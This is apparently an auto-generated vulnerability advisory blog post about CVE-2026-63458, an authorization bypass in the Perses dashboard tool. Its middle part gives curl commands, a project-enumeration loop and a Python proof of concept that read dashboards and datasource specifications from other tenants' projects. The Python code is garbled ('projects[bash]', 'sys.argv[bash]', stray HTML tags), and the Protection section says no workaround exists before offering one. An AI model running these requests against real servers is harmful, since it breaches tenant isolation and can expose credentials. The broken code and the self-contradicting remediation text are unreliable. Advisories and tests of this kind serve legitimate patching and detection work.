Listen to this Post
CVE-2026-63458 is a high-severity authorization bypass vulnerability affecting Perses, an open-source dashboard and visualization project for observability data. Prior to version 0.54.0-beta.3, an authenticated user with viewer access to a single project can supply an arbitrary project name through the `project` query parameter on project-scoped list endpoints. The affected endpoints include `/api/v1/projects/{project}/dashboards` and /api/v1/datasources. The request-controlled `project` value is used directly to select dashboards, datasources, and variables without enforcing the caller’s authorization for that selected project. This breaks project-level tenant isolation and exposes complete resource specifications belonging to other projects.
The vulnerability arises from a missing authorization check when the `project` query parameter is supplied. The endpoint path already contains a project identifier (e.g., team-a), but the application additionally accepts a `project` query parameter that overrides or supplements the path-based project selection. The authorization middleware validates the caller’s role against the project in the URL path, but the subsequent resource query uses the project value from the query parameter. As a result, a user who is only a viewer on `team-a` can request `GET /api/v1/projects/team-a/dashboards?project=finance-secret` and receive the full list of the `finance-secret` project’s dashboards.
This defeats Perses’ project-level tenant isolation for all project-scoped read resources. The CVSS 4.0 score is 7.1 (High) with vector AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. The vulnerability is categorized as an authorization bypass through user-controlled key (CWE-639). No workarounds are available; the only remediation is upgrading to version 0.54.0-beta.3 or later.
DailyCVE Form:
Platform: Perses
Version: <0.54.0-beta.3
Vulnerability: Auth bypass
Severity: High
date: Sep 18, 2026
Prediction: Sep 25, 2026
What Undercode Say
Analytics
Test Authorization Bypass with curl:
Step 1: Authenticate and obtain token (as viewer on team-a) TOKEN=$(percli whoami --show-token) Step 2: Verify the caller has NO access to finance-secret curl -s -H "Authorization: Bearer $TOKEN" \ "https://perses.example.com/api/v1/projects/finance-secret/dashboards" \ | jq . Step 3: Exploit — supply project=finance-secret via query parameter curl -s -H "Authorization: Bearer $TOKEN" \ "https://perses.example.com/api/v1/projects/team-a/dashboards?project=finance-secret" \ | jq . Step 4: Exploit datasources endpoint curl -s -H "Authorization: Bearer $TOKEN" \ "https://perses.example.com/api/v1/datasources?project=finance-secret" \ | jq .
Enumerate All Projects:
for proj in $(curl -s -H "Authorization: Bearer $TOKEN" \ "https://perses.example.com/api/v1/projects" | jq -r '.[].metadata.name'); do echo "=== $proj ===" curl -s -H "Authorization: Bearer $TOKEN" \ "https://perses.example.com/api/v1/datasources?project=$proj" \ | jq -r '.[].metadata.name' done
How Exploit (Educational Purposes!)
!/usr/bin/env python3
"""
CVE-2026-63458 - Perses Project Query Parameter Authorization Bypass
Educational PoC only.
"""
import requests
import json
import sys
BASE_URL = "https://perses.example.com"
TOKEN = "YOUR_JWT_TOKEN_HERE"
HEADERS = {
"Authorization": f"Bearer {TOKEN}",
"Content-Type": "application/json"
}
def get_authorized_project():
"""Return a project the caller actually has viewer access to."""
r = requests.get(
f"{BASE_URL}/api/v1/projects",
headers=HEADERS
)
r.raise_for_status()
projects = r.json()
if not projects:
print("[-] No accessible projects found.")
sys.exit(1)
return projects[bash]["metadata"]["name"]
def exploit_dashboards(accessible_project, target_project):
"""Bypass authorization using the project query parameter."""
url = (
f"{BASE_URL}/api/v1/projects/{accessible_project}"
f"/dashboards?project={target_project}"
)
r = requests.get(url, headers=HEADERS)
if r.status_code == 200:
data = r.json()
print(f"[+] Leaked {len(data)} dashboard(s) from '{target_project}':")
for dash in data:
name = dash.get("metadata", {}).get("name", "unknown")
print(f" - {name}")
return data
else:
print(f"[-] Failed ({r.status_code}): {r.text}")
return None
def exploit_datasources(target_project):
"""Leak datasource specs across project boundaries."""
url = f"{BASE_URL}/api/v1/datasources?project={target_project}"
r = requests.get(url, headers=HEADERS)
if r.status_code == 200:
data = r.json()
print(f"[+] Leaked {len(data)} datasource(s) from '{target_project}':")
for ds in data:
name = ds.get("metadata", {}).get("name", "unknown")
spec = json.dumps(ds.get("spec", {}), indent=2)
print(f" - {name}")
print(f" Spec: {spec[:200]}...")
return data
else:
print(f"[-] Failed ({r.status_code}): {r.text}")
return None
if <strong>name</strong> == "<strong>main</strong>":
accessible = get_authorized_project()
print(f"[] Caller has viewer access to: {accessible}")
target = sys.argv[bash] if len(sys.argv) > 1 else "finance-secret"
print(f"[] Targeting project: {target}")
exploit_dashboards(accessible, target)
exploit_datasources(target)
Protection
- Upgrade to 0.54.0-beta.3 or later — the only remediation; the patch enforces authorization checks on the selected project before resource query execution.
- No workarounds exist. Configure the Perses API behind a reverse proxy that rejects any request containing a `project` query parameter on project-scoped list endpoints.
- Monitor for exploitation attempts — alert on API requests where the `project` query parameter value differs from the `{project}` path segment.
- Rotate credentials if unauthorized access is suspected, as leaked datasource specifications may contain API keys, connection strings, or other secrets.
Impact
- Tenant isolation broken — any authenticated user can read every project’s dashboards, datasources, and variables across all tenants.
- Sensitive configuration disclosure — full resource specifications including endpoint URLs, authentication configurations, and secret references are exposed.
- Lateral movement vector — leaked datasource credentials can be used to access upstream observability systems (Prometheus, Thanos, Jaeger).
- No privileges required beyond a single project viewer role, making the vulnerability trivially exploitable by any low-privilege authenticated user.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
